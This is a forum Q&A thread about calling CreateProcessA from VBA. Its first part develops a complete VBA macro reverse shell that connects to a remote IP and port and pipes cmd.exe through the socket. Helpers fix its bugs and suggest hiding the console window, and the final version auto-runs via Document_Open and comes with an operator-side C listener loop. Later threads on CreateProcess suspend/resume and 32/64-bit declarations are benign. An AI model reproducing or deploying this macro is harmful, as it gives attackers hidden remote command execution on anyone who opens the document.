So I'm trying to write VBA that calls "CreateProcessA" to start the "cmd.exe" process and redirect stdin, stdout, and stderror to a socket that's connected to a remote computer.
At the moment, almost everything seems to be working except the output isn't getting redirected to the socket. When I run the code, it shows on the remote computer that a connection was received, but then the cmd windows just opens on the computer running the VBA and that's it. Anyone know why I'm not able to redirect to the socket? My code is below. Thanks for your help in advance :)
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Const SD_SEND = 1
Const MAX_PROTOCOL_CHAIN = 7&
Const WSAPROTOCOL_LEN = 255
' Typ definitions ----------------------------------------------------
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr 'strptr
ai_addr As LongPtr 'p sockaddr
ai_next As LongPtr 'p addrinfo
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type WSAPROTOCOLCHAIN
ChainLen As Long
ChainEntries(1 To MAX_PROTOCOL_CHAIN) As Long
End Type
Private Type GUID
Data1 As Long
Data2 As Integer
Data3 As Integer
Data4(7) As Byte
End Type
Private Type WSAPROTOCOL_INFO
dwServiceFlags1 As Long
dwServiceFlags2 As Long
dwServiceFlags3 As Long
dwServiceFlags4 As Long
dwProviderFlags As Long
ProviderId As GUID
dwCatalogEntryId As Long
ProtocolChain As WSAPROTOCOLCHAIN
iVersion As Long
iAddressFamily As Long
iMaxSockAddr As Long
iMinSockAddr As Long
iSocketType As Long
iProtocol As Long
iProtocolMaxOffset As Long
iNetworkByteOrder As Long
iSecurityScheme As Long
dwMessageSize As Long
dwProviderReserved As Long
szProtocol(1 To WSAPROTOCOL_LEN + 1) As Byte
End Type
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
' Enums ---------------------------------------------------------------
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
' External functions --------------------------------------------------
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function ws_socket Lib "ws2_32.dll" Alias "socket" (ByVal af As Long, ByVal stype As Long, ByVal protocol As Long) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function Send Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal buf As String, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function Recv Lib "ws2_32.dll" Alias "recv" (ByVal s As Long, ByRef buf As Byte, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function SendWithPtr Lib "ws2_32.dll" Alias "send" (ByVal s As Long, ByVal bufPtr As Long, ByVal buflen As Long, ByVal flags As Long) As Long
Private Declare PtrSafe Function shutdown Lib "ws2_32.dll" (ByVal s As Long, ByVal how As Long) As Long
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function VarPtrArray Lib "VBE7" Alias "VarPtr" (var() As Any) As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As LongPtr, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
Dim protoInfo As WSAPROTOCOL_INFO
'Socket Settings
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, 0, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
MsgBox "Error opening socket, error " & RetVal & WSAGetLastError()
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
MsgBox ("connect() to socket failed")
closesocket (m_ConnSocket)
End If
Loop
If Not connected Then
MsgBox ("Fatal error: unable to connect to the server")
'MsgBox (WSAGetLastError())
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim secAttrPrc As SECURITY_ATTRIBUTES
secAttrPrc.nLength = Len(secAttrPrc)
Dim secAttrThr As SECURITY_ATTRIBUTES
secAttrThr.nLength = Len(secAttrThr)
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd.exe", secAttrPrc, secAttrThr, True, 0, 0, Environ("USERPROFILE"), si, pi)
'MsgBox (worked)
If worked Then
MsgBox ("Worked!")
Else
MsgBox ("Didn't work")
End If
End Function
I can get it work with msdn sample: Server and Client(Added create cmd process in it).
And I can also reproduce this issue with you sample in VBA. When I use the WSASocketA you defined, I get Compile error at lpProtocolInfo As WSAPROTOCOL_INFOA
Compile error: ByRef argument type mismatch
Since it is a pointer type, I modify it as ByVal lpProtocolInfo As LongPtr.
More importantly, you've ZeroMemory the STARTUPINFO after you set it, and then all the handles you set will be discarded.
Put the initialization at the beginning:
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Then it works for me.
UPDATE:
lpProtocolInfo As LongPtr You did not add ByVal in your updated code, and then I can use it to work.
There is not enough space on the disk
This may be related to the string processing in your server side. You need to add the suffix "\r\n" to the cmd string you send. I use the Server sample on msdn, and modify the do-while{} part:
do {
Sleep(1000);
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
if (iResult > 0) {
recvbuf[iResult] = L'\0';
printf("%s", recvbuf);
}
char sendcmd[512] = { 0 };
fgets(sendcmd, 512, stdin);
int len = strlen(sendcmd); // "test\n"
sendcmd[len - 1] = '\r'; //"test\r"
sendcmd[len] = '\n'; //"test\r\n"
iSendResult = send(ClientSocket, sendcmd, len+1, 0); //without '\0'
if (iSendResult == SOCKET_ERROR) {
printf("send failed with error: %d\n", WSAGetLastError());
closesocket(ClientSocket);
WSACleanup();
return 1;
}
if (strncmp(sendcmd, "exit", 4) == 0)
break;
} while (iResult > 0);
In addition, you can specify CREATE_NO_WINDOW for CreateProcess, so that cmd windows are not created on the client side.
Result(I test it in localhost:127.0.0.1):
Ok, so I finally got it working. I was having a few issues that I was able to fix thanks to some of the users in this thread. First, I had to use WSASocketA() instead of socket() because you can't redirect process IO to sockets created with socket(). The other issues I was having was with type mismatching between VBA and C-types. Below is the updated code and here's a link to the github with the code as well: https://github.com/JohnWoodman/VBA-Macro-Reverse-Shell
Const ip = "192.168.43.1"
Const port = "1337"
Const INVALID_SOCKET = -1
Const WSADESCRIPTION_LEN = 256
Const SOCKET_ERROR = -1
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To WSADESCRIPTION_LEN) As Byte
szSystemStatus(0 To WSADESCRIPTION_LEN) As Byte
iMaxSockets As Integer
iMaxUdpDg As Integer
lpVendorInfo As Long
End Type
Private Type ADDRINFO
ai_flags As Long
ai_family As Long
ai_socktype As Long
ai_protocol As Long
ai_addrlen As Long
ai_canonName As LongPtr
ai_addr As LongPtr
ai_next As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Enum af
AF_UNSPEC = 0
AF_INET = 2
AF_IPX = 6
AF_APPLETALK = 16
AF_NETBIOS = 17
AF_INET6 = 23
AF_IRDA = 26
AF_BTH = 32
End Enum
Enum sock_type
SOCK_STREAM = 1
SOCK_DGRAM = 2
SOCK_RAW = 3
SOCK_RDM = 4
SOCK_SEQPACKET = 5
End Enum
Private Declare PtrSafe Function WSAStartup Lib "ws2_32.dll" (ByVal wVersionRequested As Integer, ByRef data As WSADATA) As Long
Private Declare PtrSafe Function connect Lib "ws2_32.dll" (ByVal socket As LongPtr, ByVal SOCKADDR As LongPtr, ByVal namelen As Long) As Long
Private Declare PtrSafe Sub WSACleanup Lib "ws2_32.dll" ()
Private Declare PtrSafe Function GetAddrInfo Lib "ws2_32.dll" Alias "getaddrinfo" (ByVal NodeName As String, ByVal ServName As String, ByVal lpHints As LongPtr, lpResult As LongPtr) As Long
Private Declare PtrSafe Function closesocket Lib "ws2_32.dll" (ByVal socket As LongPtr) As Long
Private Declare PtrSafe Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare PtrSafe Function WSAGetLastError Lib "ws2_32.dll" () As Long
Private Declare PtrSafe Function CreateProc Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Any, ByVal lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Sub ZeroMemory Lib "kernel32" Alias "RtlZeroMemory" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function WSASocketA Lib "ws2_32.dll" (ByVal af As Long, ByVal t As Long, ByVal protocol As Long, lpProtocolInfo As Any, ByVal g As Long, ByVal dwFlags As Long) As Long
Function revShell()
Dim m_wsaData As WSADATA
Dim m_RetVal As Integer
Dim m_Hints As ADDRINFO
Dim m_ConnSocket As LongPtr: m_ConnSocket = INVALID_SOCKET
Dim pAddrInfo As LongPtr
Dim RetVal As Long
Dim lastError As Long
Dim iRC As Long
Dim MAX_BUF_SIZE As Integer: MAX_BUF_SIZE = 512
RetVal = WSAStartup(MAKEWORD(2, 2), m_wsaData)
If (RetVal <> 0) Then
MsgBox "WSAStartup failed with error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_family = af.AF_UNSPEC
m_Hints.ai_socktype = sock_type.SOCK_STREAM
RetVal = GetAddrInfo(ip, port, VarPtr(m_Hints), pAddrInfo)
If (RetVal <> 0) Then
MsgBox "Cannot resolve address " & ip & " and port " & port & ", error " & RetVal, WSAGetLastError()
Call WSACleanup
Exit Function
End If
m_Hints.ai_next = pAddrInfo
Dim connected As Boolean: connected = False
Do While m_Hints.ai_next > 0
CopyMemory m_Hints, ByVal m_Hints.ai_next, LenB(m_Hints)
m_ConnSocket = WSASocketA(m_Hints.ai_family, m_Hints.ai_socktype, m_Hints.ai_protocol, ByVal 0&, 0, 0)
If (m_ConnSocket = INVALID_SOCKET) Then
revShell = False
Else
Dim connectionResult As Long
connectionResult = connect(m_ConnSocket, m_Hints.ai_addr, m_Hints.ai_addrlen)
If connectionResult <> SOCKET_ERROR Then
connected = True
Exit Do
End If
closesocket (m_ConnSocket)
revShell = False
End If
Loop
If Not connected Then
revShell = False
RetVal = closesocket(m_ConnSocket)
Call WSACleanup
Exit Function
End If
Dim si As STARTUPINFOA
ZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
si.hStdInput = m_ConnSocket
si.hStdOutput = m_ConnSocket
si.hStdError = m_ConnSocket
Dim pi As PROCESS_INFORMATION
Dim worked As LongPtr
Dim test As Long
worked = CreateProc(vbNullString, "cmd", ByVal 0&, ByVal 0&, True, &H8000000, 0, vbNullString, si, pi)
revShell = worked
End Function
Public Function MAKEWORD(Lo As Byte, Hi As Byte) As Integer
MAKEWORD = Lo + Hi * 256& Or 32768 * (Hi > 127)
End Function
Private Sub Document_Open()
Dim success As Boolean
success = revShell()
End Sub
Related
I'm stuck using WINAPI's CreateProcess with CREATE_SUSPENDED and ResumeThread from VBA.
I would like to start a process (and receive it's Process ID) and be able to suspend and resume its main thread (depending on a more complicated scheme considering the resource utilisation use of my computer - not detailed here). I came up with the below code and have the following problems:
LastDllError is 18 after calling CreateProcess although the return
value is nonzero. What does this mean?
ResumeThread fails with ERROR_INVALID_HANDLE, and does not resume
it. What is wrong here?
My code:
Option Explicit
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadId As Long
End Type
Private Const CREATE_SUSPENDED As Long = 4
Private Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
ByRef lpProcessAttributes As SECURITY_ATTRIBUTES, _
ByRef lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
ByRef lpEnvironment As Any, _
ByVal lpCurrentDirectory As String, _
ByRef lpStartupInfo As STARTUPINFO, _
ByRef lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function SuspendThread Lib "kernel32" (hThread As Long) As Long
Private Declare Function ResumeThread Lib "kernel32" (hThread As Long) As Long
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hObject As Long) As Long
Private Declare Function DebugActiveProcess Lib "kernel32" (ByVal dwProcessId As Long) As Long
Private Declare Function DebugActiveProcessStop Lib "kernel32" (ByVal dwProcessId As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Debug.Print Err.LastDllError ' 0 => ERROR_SUCCESS
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, CREATE_SUSPENDED, 0, strCurrentDirectory, si, pi)
Debug.Print Err.LastDllError ' 18 => ERROR_NO_MORE_FILES (but dwResult <> 0 => Success)
If dwResult = 0 Then
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hProcess
Debug.Print Err.LastDllError ' 0 => ERROR_SUCCESS
Dim dwSuspendCount As Long: dwSuspendCount = ResumeThread(pi.hThread)
Debug.Print dwSuspendCount ' -1
If dwSuspendCount = -1 Then
Debug.Print Err.LastDllError ' 6 => ERROR_INVALID_HANDLE
CloseHandle pi.hThread
WinApi_CreateProcess = 0: Exit Function
Else
Debug.Print Err.LastDllError ' Not this branch
CloseHandle pi.hThread
WinApi_CreateProcess = pi.dwProcessId: Exit Function
End If
End Function
After modify all pointer types to LongPtr instead of Long, I can use the sample to reproduce your problem with 64-bit Excel. You could also refer to the statement here
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As LongPtr
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Then I get true result for CreateProcess and ERROR_INVALID_HANDLE error for ResumeThread, I found that ResumeThread parameter did not declare with ByVal(the same as SuspendThread). After add ByVal, the sample works for me.
Declare PtrSafe Function SuspendThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
Declare PtrSafe Function ResumeThread Lib "kernel32" (ByVal hThread As LongPtr) As Long
LastDllError is 18 after calling CreateProcess although the return value is nonzero. What does this mean?
It means you are using Err.LastDllError incorrectly. If CreateProcess() succeeds (returns non-zero), the value of Err.LastDllError is indeterminate, so just ignore it. Its value will be meaningful only if CreateProcess() fails (returns zero).
ResumeThread fails with ERROR_INVALID_HANDLE, and does not resume it. What is wrong here?
You are checking the return value of ResumeThread() incorrectly, so you are checking Err.LastDllError at the wrong time, again.
Per the ResumeThread() documentation:
If the function succeeds, the return value is the thread's previous suspend count.
If the function fails, the return value is (DWORD) -1. To get extended error information, call GetLastError.
In this case, you are checking the return value of ResumeThread() against 0, but the process was created in a suspended state, so its main thread's suspend count would be 1, and so ResumeThread() should be returning 1 if the thread is successfully resumed, but you are treating that as a failure condition instead of a success condition.
You need to change this:
If ResumeThread(pi.hThread) <> 0 Then
To this:
If ResumeThread(pi.hThread) = -1 Then
And clean up your use of Err.LastDllError, eg:
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, CREATE_SUSPENDED, 0, strCurrentDirectory, si, pi)
If dwResult = 0 Then
Debug.Print Err.LastDllError
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hProcess
Dim dwSuspendCount As Long: dwSuspendCount = ResumeThread(pi.hThread)
If dwSuspendCount = -1 Then
Debug.Print Err.LastDllError
CloseHandle pi.hThread
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hThread
WinApi_CreateProcess = pi.dwProcessId
End Function
But, you really don't need to create a process suspended and then resume it just to grab its process ID. Get rid of CREATE_SUSPENDED and ResumeThread() altogether, you don't actually need them in this situation:
Public Function WinApi_CreateProcess(strCommandLine As String, Optional strCurrentDirectory As String = vbNullString) As Long
If strCurrentDirectory = vbNullString Then
strCurrentDirectory = ThisWorkbook.Path
End If
Dim sap As SECURITY_ATTRIBUTES: sap.nLength = Len(sap)
Dim sat As SECURITY_ATTRIBUTES: sat.nLength = Len(sat)
Dim si As STARTUPINFO: si.cb = Len(si)
Dim pi As PROCESS_INFORMATION
Dim dwResult As Long: dwResult = CreateProcess(vbNullString, strCommandLine, sap, sat, 0, 0, 0, strCurrentDirectory, si, pi)
If dwResult = 0 Then
Debug.Print Err.LastDllError
WinApi_CreateProcess = 0: Exit Function
End If
CloseHandle pi.hThread
CloseHandle pi.hProcess
WinApi_CreateProcess = pi.dwProcessId
End Function
I have the following code that I tried to make compatible for 32 and 64 bit (Access 2010+).
Option Compare Database
Option Explicit
'This code was originally written by Terry Kreft.
'It is not to be altered or distributed,
'except as part of an application.
'You are free to use it in any application,
'provided the copyright notice is left unchanged.
'
'Code Courtesy of
'Terry Kreft
Private Const STARTF_USESHOWWINDOW& = &H1
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessID As Long
dwThreadID As Long
End Type
'Added
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As LongPtr, ByVal dwMilliseconds As Long) As Long
'Type not defined
Declare PtrSafe Function CreateProcessA Lib "kernel32" _
(ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As Long
' Original
'Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal _
hObject As LongPtr) As Long
Public Sub ShellWait(Pathname As String, Optional WindowStyle As Long)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ret As Long
' Initialize the STARTUPINFO structure:
With start
.cb = Len(start)
If Not IsMissing(WindowStyle) Then
.dwFlags = STARTF_USESHOWWINDOW
.wShowWindow = WindowStyle
End If
End With
' Start the shelled application:
ret& = CreateProcessA(0&, Pathname, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc) 'TEST SECURITY_ATTRIBUTES Data Types
' Wait for the shelled application to finish:
ret& = WaitForSingleObject(proc.hProcess, INFINITE) ' TEST proc.hProcess is LongPtr
ret& = CloseHandle(proc.hProcess) ' TEST proc.hProcess is LongPtr
End Sub
Public Function GetExecutableForFile(strFileName As String) As String
Dim lngRetval As LongPtr
Dim strExecName As String * 255
lngRetval = FindExecutable(strFileName, vbNullString, strExecName)
GetExecutableForFile = Left$(strExecName, InStr(strExecName, Chr$(0)) - 1)
End Function
Sub RunIt(strNewFullPath As String)
Dim exeName As String
exeName = GetExecutableForFile(strNewFullPath)
Shell exeName & " " & Chr(34) & strNewFullPath & Chr(34), vbNormalFocus
End Sub
I already tinkered with it from this site by adding LongPtr where I believe it should of been. I also added SECURITY_ATTRIBUTES type that wasn't in the original code.
I am getting a compile error on the following line under the ShellWait sub:
ret& = CreateProcessA(0&, Pathname, 0&, 0&, 1&, _
NORMAL_PRIORITY_CLASS, 0&, 0&, start, proc)
The error is on the third parameter and says: "ByRef Argument Type Mismatched"
Originally the SECURITY_ATTRIBUTES were type Long.
If I change back to LongPtr the error is gone, but does not work when I try the command ShellWait "clac.exe"
I get no error message when debugging line by line. Nothing happens.
I am testing in 64 bit Access first.
There are a few issues to tackle here.
First, the API function should return a LongPtr. You'll need to change that in your function declare statment. You'll also need to change your ret variable to a LongPtr.
Second, the reason for the type mismatch is because your parameter value 0& is not of type SECURITY_ATTRIBUTES. You must build a SECURITY_ATTRIBUTES type and pass that in as a parameter.
EDIT:
Here is all the code I have in a module that is compiling just fine. Just want to see if I can help understand why you are still getting the compiler error:
Option Explicit
'This code was originally written by Terry Kreft.
'It is not to be altered or distributed,
'except as part of an application.
'You are free to use it in any application,
'provided the copyright notice is left unchanged.
'
'Code Courtesy of
'Terry Kreft
Private Const STARTF_USESHOWWINDOW& = &H1
Private Const NORMAL_PRIORITY_CLASS = &H20&
Private Const INFINITE = -1&
Private Type STARTUPINFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessID As Long
dwThreadID As Long
End Type
'Added
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As LongPtr
bInheritHandle As Long
End Type
Private Declare PtrSafe Function WaitForSingleObject Lib "kernel32" (ByVal _
hHandle As LongPtr, ByVal dwMilliseconds As Long) As Long
'Type not defined
Declare PtrSafe Function CreateProcessA Lib "kernel32" _
(ByVal lpApplicationName As String, ByVal lpCommandLine As String, _
lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, _
lpProcessInformation As PROCESS_INFORMATION) As LongPtr
' Original
'Private Declare Function CreateProcessA Lib "kernel32" (ByVal _
lpApplicationName As Long, ByVal lpCommandLine As String, ByVal _
lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, _
ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, _
lpStartupInfo As STARTUPINFO, lpProcessInformation As _
PROCESS_INFORMATION) As Long
Private Declare PtrSafe Function CloseHandle Lib "kernel32" (ByVal _
hObject As LongPtr) As Long
Public Sub ShellWait(Pathname As String, Optional WindowStyle As Long)
Dim proc As PROCESS_INFORMATION
Dim start As STARTUPINFO
Dim ret As LongPtr
'Not used, but needed
Dim si1 As SECURITY_ATTRIBUTES
Dim si2 As SECURITY_ATTRIBUTES
' Initialize the STARTUPINFO structure:
With start
.cb = Len(start)
If Not IsMissing(WindowStyle) Then
.dwFlags = STARTF_USESHOWWINDOW
.wShowWindow = WindowStyle
End If
End With
'Set the structure size
si1.nLength = Len(si1)
si2.nLength = Len(si2)
' Start the shelled application:
ret = CreateProcessA(vbNullString, Pathname, si1, si2, False, _
NORMAL_PRIORITY_CLASS, 0&, vbNullString, start, proc) 'TEST SECURITY_ATTRIBUTES Data Types
' Wait for the shelled application to finish:
ret = WaitForSingleObject(proc.hProcess, INFINITE) ' TEST proc.hProcess is LongPtr
